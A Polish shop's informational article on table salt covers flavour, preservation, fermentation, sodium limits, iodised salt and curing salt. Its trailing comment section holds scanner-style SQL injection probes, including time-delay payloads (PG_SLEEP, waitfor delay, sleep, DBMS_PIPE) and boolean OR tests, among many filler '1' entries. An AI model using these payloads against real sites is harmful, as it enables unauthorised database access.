Sól spożywcza – właściwości, zastosowanie i rodzaje
Sól spożywcza jest jednym z najstarszych i najbardziej rozpowszechnionych składników wykorzystywanych w przygotowywaniu oraz przetwarzaniu żywności. Najczęściej kojarzymy ją z nadawaniem potrawom słonego smaku, ale jej znaczenie jest znacznie szersze. Sól wpływa między innymi na smak, trwałość, teksturę i przebieg niektórych procesów technologicznych stosowanych podczas produkcji żywności.
Podstawowym składnikiem soli spożywczej jest chlorek sodu – NaCl. W zależności od rodzaju i przeznaczenia produkt może być dodatkowo jodowany, może różnić się granulacją, pochodzeniem oraz sposobem produkcji.
Czym jest sól spożywcza?
Sól spożywcza to produkt przeznaczony do zastosowań żywnościowych, którego podstawowym składnikiem jest chlorek sodu. Może występować między innymi jako sól drobnoziarnista, gruboziarnista, warzona lub kamienna.
W sprzedaży dostępne są zarówno sole jodowane, jak i niejodowane. Wybór odpowiedniego rodzaju zależy od przeznaczenia produktu oraz preferencji użytkownika.
Jakie właściwości ma sól spożywcza?
1. Nadaje i wzmacnia smak potraw
Najbardziej oczywistą funkcją soli jest nadawanie potrawom słonego smaku. Odpowiednio użyta może również wpływać na sposób odbierania innych smaków i aromatów.
Stosuje się ją podczas przygotowywania praktycznie wszystkich grup produktów – od pieczywa i dań obiadowych, przez sery i mięso, aż po kiszonki oraz różnego rodzaju przetwory.
2. Jest wykorzystywana do konserwowania żywności
Sól od wieków stosowana była jako jeden ze sposobów przedłużania trwałości żywności. Odpowiednio wysokie stężenie soli ogranicza dostępność wody dla wielu mikroorganizmów, co może spowalniać procesy powodujące psucie się żywności.
Soleniem konserwowano między innymi mięso, ryby i warzywa na długo przed rozpowszechnieniem chłodnictwa.
Współcześnie metoda ta nadal znajduje zastosowanie, jednak w produkcji żywności warunki solenia i przechowywania muszą być dobrane do konkretnego produktu oraz obowiązujących zasad bezpieczeństwa żywności.
3. Ma znaczenie podczas kiszenia i fermentacji
Sól odgrywa ważną rolę podczas przygotowywania kiszonek. Odpowiednie stężenie solanki pomaga stworzyć warunki sprzyjające pożądanej fermentacji i ogranicza rozwój części niepożądanych mikroorganizmów.
Dlatego sól wykorzystywana jest między innymi przy kiszeniu ogórków, kapusty i innych warzyw.
W przypadku domowych przetworów należy jednak zawsze korzystać ze sprawdzonych receptur i zachowywać właściwe proporcje składników.
4. Wpływa na właściwości technologiczne żywności
Sól pełni również funkcję technologiczną. W zależności od produktu może wpływać między innymi na strukturę ciasta, teksturę produktów mięsnych, proces fermentacji czy wiązanie wody.
Z tego względu chlorek sodu jest istotnym składnikiem nie tylko w domowej kuchni, ale również w piekarnictwie, przetwórstwie mięsnym, mleczarstwie oraz innych gałęziach przemysłu spożywczego.
Sód – potrzebny, ale w odpowiedniej ilości
Chlorek sodu dostarcza organizmowi sodu i chlorków. Sód jest niezbędnym składnikiem mineralnym i bierze udział między innymi w utrzymaniu równowagi płynów, przewodzeniu impulsów nerwowych i prawidłowym funkcjonowaniu komórek.
Nie oznacza to jednak, że większa ilość soli jest korzystniejsza. Nadmierne spożycie sodu wiąże się ze wzrostem ciśnienia tętniczego i zwiększeniem ryzyka chorób układu sercowo-naczyniowego.
Światowa Organizacja Zdrowia zaleca osobom dorosłym spożywanie mniej niż 5 g soli dziennie, co odpowiada mniej niż 2 g sodu.
Sól jodowana – dlaczego dodaje się jod?
Jod jest mikroelementem potrzebnym między innymi do produkcji hormonów tarczycy. Ze względu na historycznie występujące w Polsce niedobory jodu wprowadzono profilaktykę polegającą na jodowaniu soli kuchennej przeznaczonej do bezpośredniego spożycia.
Zgodnie z aktualnymi polskimi wymaganiami sól przeznaczona do bezpośredniego spożycia przez ludzi jest wzbogacana jodkiem lub jodanem potasu w określonych przepisami ilościach.
Nie oznacza to jednak, że należy zwiększać spożycie soli w celu dostarczenia większej ilości jodu. Zalecenia dotyczące ograniczania sodu oraz profilaktyka jodowa funkcjonują równolegle.
Sól jodowana czy niejodowana?
Obydwa rodzaje soli mają swoje zastosowania. Do codziennego użytku domowego powszechnie stosowana jest sól jodowana. Sól niejodowana może być natomiast wybierana do określonych zastosowań technologicznych, przetwórstwa lub według wymagań konkretnej receptury.
Przy zakupie warto więc sprawdzić oznaczenie produktu i upewnić się, czy dana sól jest jodowana czy niejodowana.
Sól spożywcza a peklosól – to nie ten sam produkt
Zwykłej soli spożywczej nie należy również utożsamiać z peklosolą. Peklosól jest specjalistycznym produktem stosowanym w przetwórstwie mięsnym i oprócz chlorku sodu zawiera określoną ilość azotynu sodu.
Ze względu na jej skład i przeznaczenie należy stosować ją wyłącznie zgodnie z właściwymi recepturami i zasadami technologicznymi. Nie jest zamiennikiem zwykłej soli kuchennej do dowolnych zastosowań.
Jaką sól wybrać do przetworów?
W przypadku kiszenia i innych przetworów należy przede wszystkim kierować się sprawdzoną recepturą. Znaczenie może mieć między innymi rodzaj soli, jej czystość, granulacja oraz obecność dodatkowych składników.
W sklepie Sól Wieliczka dostępna jest sól spożywcza do zastosowań domowych i profesjonalnych, w tym produkty przeznaczone do przygotowywania przetworów.
Sól spożywcza w kuchni i przemyśle
Sól pozostaje jednym z podstawowych surowców spożywczych. Jej znaczenie nie ogranicza się do przyprawiania potraw – wykorzystywana jest również w konserwowaniu, fermentacji oraz wielu procesach technologicznych.
Najważniejsze jest jednak właściwe dobranie rodzaju soli do konkretnego zastosowania oraz umiarkowane spożycie. Sód jest organizmowi potrzebny, ale jego nadmiar w diecie nie jest korzystny dla zdrowia.
Informacja: Niniejszy materiał ma charakter ogólnoinformacyjny i edukacyjny. Nie stanowi indywidualnej porady dietetycznej ani medycznej. Zapotrzebowanie na sód, jod i inne składniki mineralne może różnić się zależnie od wieku, stanu zdrowia, sposobu żywienia oraz zaleceń lekarza. Osoby, którym zalecono ograniczenie spożycia sodu lub stosowanie określonej diety, powinny kierować się indywidualnymi zaleceniami lekarza lub dietetyka. Przy przygotowywaniu przetworów i konserwowaniu żywności należy stosować sprawdzone receptury oraz przestrzegać zasad bezpieczeństwa żywności. Kamsol dokłada starań, aby publikowane informacje były rzetelne i aktualne, jednak nie zastępują one indywidualnej konsultacji specjalistycznej.
Wszystkie komentarze
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
(select 198766*667891 from DUAL)
(select 198766*667891)
@@bT9Nu
1????%2527%2522\'\"
1'"
1
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1DtDZHlPm')) OR 442=(SELECT 442 FROM PG_SLEEP(15))--
1OEkzmH8k') OR 697=(SELECT 697 FROM PG_SLEEP(15))--
1HTFfY1qS' OR 509=(SELECT 509 FROM PG_SLEEP(15))--
1-1)) OR 227=(SELECT 227 FROM PG_SLEEP(15))--
1-1) OR 637=(SELECT 637 FROM PG_SLEEP(15))--
1-1 OR 997=(SELECT 997 FROM PG_SLEEP(15))--
14SMELI0B'; waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=26 or "su0P74px"="
-1" OR 5*5=25 or "su0P74px"="
-1' OR 5*5=26 or 'cOkdJjSX'='
-1' OR 5*5=25 or 'cOkdJjSX'='
-1" OR 5*5=26 --
-1" OR 5*5=25 --
-1' OR 5*5=26 --
-1' OR 5*5=25 --
-1 OR 5*5=26
-1 OR 5*5=25
-1 OR 5*5=26 --
-1 OR 5*5=25 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1